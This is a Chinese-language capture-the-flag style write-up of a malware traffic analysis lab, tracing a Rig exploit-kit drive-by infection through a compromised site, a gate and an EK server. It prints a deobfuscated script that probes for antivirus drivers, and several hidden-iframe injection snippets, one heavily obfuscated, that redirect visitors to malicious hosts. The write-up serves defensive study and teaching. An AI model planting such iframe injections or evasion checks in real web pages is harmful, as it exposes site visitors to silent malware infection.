本文首发在安全客:https://www.anquanke.com/post/id/244154,分为两部分,本文为下

Malware Traffic Analysis-2

lab地址:https://cyberdefenders.org/labs/17

这道题没什么场景,一上来就给了一个pcap数据包,以及几个问题,直接开始分析!

分析过程

Problem 1

*What is the IP address of the Windows VM that gets infected? *

首先,第一道题就是求被感染主机的IP。在没有任何场景提示的情况下,一拿到流量包就要分析,还是先送到VirusTotal上扫描,扫描结果显示这个数据包还是有点东西的,其中包括11条Snort alerts和23条Suricata alerts:

1

查看更详细的分析,看来受害主机是被Exploit-Kit感染了的:

2

既然存在木马文件,那么拖入数据包分析神器Brim看看。拖入Brim后,发现有很多files:

3

很容易就和Exploit-Kit联系起来,过滤出所有files流量:

1
_path=files

所以的destination ip全是172.16.165.165

4

在wireshark中进行过滤:

1
http.request

5

数据包源IP地址都是172.16.165.165。也可以过滤:

1
http.response

得到的结果也在预料之中,目的地址都是172.16.165.165

6

得到本题答案:受害主机IP为172.16.165.165

Problem 2

*What is the hostname of the Windows VM that gets infected? *

查找主机名只要过滤出dhcp流量即可,我们选择第一条源地址为受害主机的dhcp流量:

7

很容易得到主机名为K34EN6W3N-PC。当然,因为是Windows主机,还可以过滤nbns流量来获取主机名:

8

Problem 3

*What is the MAC address of the infected VM? *

求受害主机的MAC地址很简单,只要和受害主机IP相关的流量中都能提取出该条信息,比如我们过滤:

1
ip.src==172.16.165.165

9

当然,也可以过滤ARP流量,查看发起ARP广播的相关信息:

27

得到本题答案:受害主机MAC地址为:f0:19:af:02:9b:f1

Problem 4

*What is the IP address of the compromised web site? *

从VirusTotal的扫描结果看,受害主机是在网上冲浪时被感染了Exploit-Kit,但是具体是怎么感染的我们还不清楚。但是从受害主机发出的http请求中,我们大概可以得到compromised website的候选站点:

10

分别是:

IP Host
82.150.140.30 www.ciniholland.nl
185.53.178.9 adultbiz.in
188.225.73.100 24corp-shop.com
37.200.69.143 stand.trustandprobaterealty.com

我们先从流量包中提取出恶意软件,选择File->Export Objects->HTTP

23

选择Save All将这些文件全部提取保存在文件夹中,然后一起拖入扫描软件Clam中检查:

22

从该流量包中提取出了37个文件,经过Clam扫描,发现了4个恶意软件,分别选择上面的四个文件,然后选择Analysis选项,就能逐个得到可以的源文件。最后发现是这4个可疑文件被扫描出:

1
2
3
4
5
6
7
index.php%3freq=swf&num=809&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM

index.php%3freq=swf&num=7533&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM

index.php%3freq=jar&num=3703&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM

index.php%3freq=jar&num=9229&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM

从中提取出关键信息:

1
2
3
4
req=swf&num=809
req=swf&num=7533
req=jar&num=3703
req=jar&num=9229

虽然不清楚这几串请求中num参数带的数字是什么意义,但是至少我们可以知道malware的格式分别为是swf格式的flash文件和jar包:

13

接着从中过滤出与这四条请求相关的http流量:

1
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"

顺利返回4条记录,这4条记录的目的地址IP都是37.200.69.143,对应域名为stand.trustandprobaterealty.com

11

由此我们可以知道,提供感染受害主机的Exploit-Kit是由主机stand.trustandprobaterealty.com提供的,它就是Exploit-Kit感染链中的提供EK的主机EK server

现在我们找到了攻击链中的最后一个设备EK server,不过本题需要找的是攻击链中的第一环节,即Compromised website

当然我们还不知道这中间是不是存在一些gate traffic。不过在一般场景中,攻击链无非是:

Compromised(legitimate) website –> EK server

Compromised website –> Gate –> EK

Compromised website –> First gate –> Second gate –> EK

Compromised website –> First gate –> Second gate –> n… gate –> EK

我一开始的想法是看看EK server是不是还存在于其他主机与受害主机的通讯流量中,所以进行过滤:

1
ip contains stand.trustandprobaterealty.com

但是返回的结果表明该domain仅在受害主机和EK server之间的流量中存在:

12

没关系,前面我们过滤出4条与Exploit-Kit和malware相关的流量:

1
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"

右键追踪HTTP流,在受害主机向EK server(stand.trustandprobaterealty.com)的HTTP请求包中,数据包请求头header中的Referer字段是http://24corp-shop.com,4个受害主机向EK server请求恶意软件的请求数据包的header中都包含相同的Referer字段(当然受害者自己本人大概率是不知道的,除非他要已经知道恶意站点的情况,只是进行研究):

14

所以我们知道了在EK server之前的gate是24corp-shop.com,对应IP为188.225.73.100。我们得到的额外信息是,在EK server返回的响应包中,恶意数据是通过gzip的格式传输的。

攻击链更新为:

unknown Compromised website –> … gate –> gate [24corp-shop.com] –> EK server [stand.trustandprobaterealty.com]

过滤出24corp-shop.com相关的http流量:

1
http.request and ip.addr==188.225.73.100

16

右键跟踪HTTP流,该请求数据包请求头中Referer字段为http://www.ciniholland.nl,对应IP为82.150.140.30

15

并且gate搭建了一个假的页面来欺骗访问的用户,采用的攻击方法是iframe劫持。

继续向前追溯,过滤与www.ciniholland.nl相关的http请求:

1
http.request and ip.addr==82.150.140.30

17

选择第一条请求主站点的数据流,追踪数据流:

18

我们看到,同样是利用frame劫持的手段,不过该隐形iframe是通过js写入的,当文档被完全加载和解析后,就会执行showBrowVer()函数,该函数会创建一个div标签,然后在该标签中写入iframe,将用户重定向至gate服务器,而且为了防止此处执行showBrowVer()失败,攻击者在页面的最后也放了相同的函数来保证用户能够被重定向至恶意软件所在的服务器:

19

而且从该条流量我们也能够发现,Referer字段为http://www.bing.com/search?q=ciniholland.nl&qs=ds&form=QBLH

20

到这里,整个流量指向的事件已经很清楚了,是受害主机的用户在www.biying.com 上搜索到了一个受攻击者感染的网站,并且访问了该网站,然后该网站通过frame劫持将受害者用户重定向至24corp-shop.com,在这个充当gate的站点中,同样存在一个不可见的iframe将用户重定向至Exploit Kit和malware存在的站点stand.trustandprobaterealty.com,所以整个访问过程为:

Compromised website [www.ciniholland.nl] –> gate [24corp-shop.com] –> EK server [stand.trustandprobaterealty.com]

用IP地址来表示为:

82.150.140.30 –> 188.225.73.100 –> 37.200.69.143

我们得到本题的答案:82.150.140.30

Problem 5

*What is the FQDN of the compromised website? *

上一道题已经分析过,compromised website的完全限定域名为ciniholland.nl

Problem 6

*What is the IP address of the server that delivered the exploit kit and malware? *

本题求提供Exploit-Kit和malware的主机,前面第4题已经分析过了,本题答案为37.200.69.143

Problem 7

*What is the FQDN that delivered the exploit kit and malware? *

求EK server的完全限定域名,答案为stand.trustandprobaterealty.com

Problem 8

*What is the redirect URL that points to the exploit kit (EK) landing page? *

前面分析过,对http://24corp-shop.com/相关的http流量追踪流,就能发现该页面中包含的iframe会加载EK服务器上的页面:

21

本题答案为: http://24corp-shop.com/

Problem 9

*Other than CVE-2013-2551 IE exploit, another application was targeted by the EK and starts with “J”. Provide the full application name. *

在Clam中的扫描结果显示,从流量包中提取出的37个文件中包含4个malware:

24

其中Swf.Exploit.Rig属于Rig组件,对应CVE-2013-2551

25

那剩余的自然是malware自然是打包后的jar包,因此本题答案为:Java

Problem 10

*How many times was the payload delivered? *

本题的问题是,payload一共被传递了几次?也就是EK server一共向受害主机发送了几次payload,过滤出EK server向受害主机发送的http流量:

1
http.response and ip.src eq 37.200.69.143

28

其中有一种类型为x-msdownload,google之后,发现该MIME类型通常是表示一个dll类型:

29

而且,追踪该条数据流,我们发现了

30

这显然是混淆后的代码,在https://lelinhtinh.github.io/de4js/ 简单地反混淆后,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
var as4442 = "asd5645fsdfs6201042433028275342403746df";

function uffe45(txt) {
var gf541 = new ActiveXObject("Micros" + "oft.XM" + "LDOM");
gf541.async = true;
gf541.loadXML('<!DOCT' + 'YPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + txt + '">');
if (gf541.parseError.errorCode != 0) {
var err = "Error Code: " + gf541.parseError.errorCode + "\ n";
err += "Error Reason: " + gf541.parseError.reason;
err += "Error Line: " + gf541.parseError.line;
if (err.indexOf("-2147023083") > 0) {
return 1;
} else {
return 0;
}
}
return 0;
}
var as71 = "asdddsd76fsfs9840944044952441332557df";

function gr34s(ygr) {
var yre23 = new Date().getTime(),
c = true;
while (c) {
if ((new Date().getTime() - yre23) > ygr) {
c = false;
break;
}
}
}
for (var l = 0; l < 50; l++) {
asfgsdg = "c:\\wi" + "ndows\\syst" + "em32\\drive" + "rs\\tmac" + "tmon.sys";
asfhj65 = "c:\\win" + "dows\\syste" + "m32\\driv" + "ers\\tmco" + "mm.sys";
bsdfdfg = "c:\\wind" + "ows\\syste" + "m32\\driver" + "s\\tmev" + "tmgr.sys";
dfgdfgq = "c:\\win" + "dows\\system" + "32\\drive" + "rs\\TME" + "BC32.sys";
sdfsdhj = "c:\\wind" + "ows\\system32\\dr" + "ivers\\tmee" + "xt.sys";
fdg565f = "c:\\windo" + "ws\\syst" + "em32\\dri" + "vers\\tmnc" + "iesc.sys";
dfgdhfg = "c:\\win" + "dows\\system32\\dr" + "ivers\\tmtdi" + ".sys";
vsdfsdf = "c:\\win" + "dows\\sy" + "stem32\\drivers\\ea" + "mon.sys";
fdtfsdf = "c:\\windows\\sys" + "tem32\\drivers\\kli" + "f.sys";
uyuyrew = "c:\\win" + "dows\\system32\\dr" + "ivers\\kn" + "eps.sys";
rt5644s = "c:\\windows\\system32\\drivers\\kl" + "flt.sys";
a76f64s = "c:\\wind" + "ows\\syst" + "em32\\dr" + "ivers\\klfl" + "t.sys";
if (uffe45(asfgsdg) || uffe45(asfhj65) || uffe45(bsdfdfg) || uffe45(dfgdfgq) || uffe45(sdfsdhj) || uffe45(fdg565f) || uffe45(dfgdhfg) || uffe45(vsdfsdf) || uffe45(fdtfsdf) || uffe45(uyuyrew) || uffe45(rt5644s) || uffe45(a76f64s)) {
window.g565fss = true;
};
gr34s(20);
}
if (window.g565fss != true) {
b67da = String;
}

......

看来该流量确实是用来传递恶意payload的,所以本题的答案为:3次。

Problem 11

*The compromised website has a malicious script with a URL. What is this URL? *

这道题和前面的问题其实有点重复,过滤:

1
http.request and ip.addr==82.150.140.30

选择第一条数据并追踪http流:

26

答案为http://24corp-shop.com/

这其实是一种常见的感染方式,称为js malware hidden-iframe,可以参考这篇文章:

https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/

hidden-iframe是很常见的一种引导用户下载恶意软件的方式。在受攻击者感染的站点页面中加入一个用户看不见的iframe,而该iframe会从第三方站点加载恶意文件,在用户毫无察觉的情况下感染他们的计算机。但是iframe代码本身是很简单的,所以稍有经验的管理员就能够发现不属于本站点的iframe存在。因此在很多情况下,攻击者会对通过js代码来注入iframe。并且在更多的时候,攻击者会对JS进行处理,比如对js代码进行混淆,这样网站管理员就很难读懂这串代码的真实意图是什么。

第一种常见的方法就是本题中使用的技术,不过这很容易被网站管理员发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function showBrowVer()
{
var data = browserDetectNav();


if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE' || data[0] == 'Firefox') & data[3] == 'Windows'){
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://malicious-domain.com/?2';
js_kod2.width = '5px';
js_kod2.height = '3px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
}
}

另外一种是对js注入iframe相关的代码进行轻微混淆:

1
2
3
4
5
6
7
8
9
... slightly obfuscated ...


var tds_url = 'ht' + 'tp:' + '//' + 'xx.' + 'xxx.' + 'xx.' + 'xxx' + '/';
var group = '?' + 'i' + 'd' + '=' + '1';
var charset = 'utf-8';
var referer = encodeURIComponent(document.referrer);
var url = tds_url + '/' + group + '&se_referer=' + referer + '&charset=' + charset;
document.write('<' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + ' ' + 'w' + 'i' + 'd' + 't' + 'h' + '=' + '"' + '0' + '"' + ' ' + 'h' + 'e' + 'i' + 'g' + 'h' + 't' + '=' + '"' + '0' + '"' + ' ' + 'f' + 'r' + 'a' + 'm' + 'e' + 'b' + 'o' + 'r' + 'd' + 'e' + 'r' + '=' + '"' + '0' + '"' + ' ' + 's' + 'c' + 'r' + 'o' + 'l' + 'l' + 'i' + 'n' + 'g' + '=' + '"' + 'n' + 'o' + '"' + ' ' + 's' + 'r' + 'c' + '="' + url + '">' + '<' + '/' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + '>');

心眼更多一点的攻击者就会对js代码进行比较复杂的混淆:

1
2
3
4
... or heavily obfuscated ...


/*fe9ee021ca8b75385556d8588e76ae28*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a",... skipped ...,"2j","2p","36","35","4c","4a","41","46","3p","1e","1f","27","d","a","4l"];h=2;s="";if(zxc){for(i=0;i-609!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],26));}z=s;vl="val";if(ww.document)ww["e"+vl](z)}}}/*fe9ee021ca8b75385556d8588e76ae28*/

对应的js源码为:

1
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://malicious-domain.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>')

Problem 12

*Extract the two exploit files. What are the MD5 file hashes? (comma-separated ) *

提取出这两个恶意软件,然后计算md5值,得到的结果分别为:

1
2
Swf.Exploit.Rig    : 7b3baa7d6bb3720f369219789e38d6ab
java.Malware.Agent : 1e34fdebbf655cebea78b45e43520ddf

参考

https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/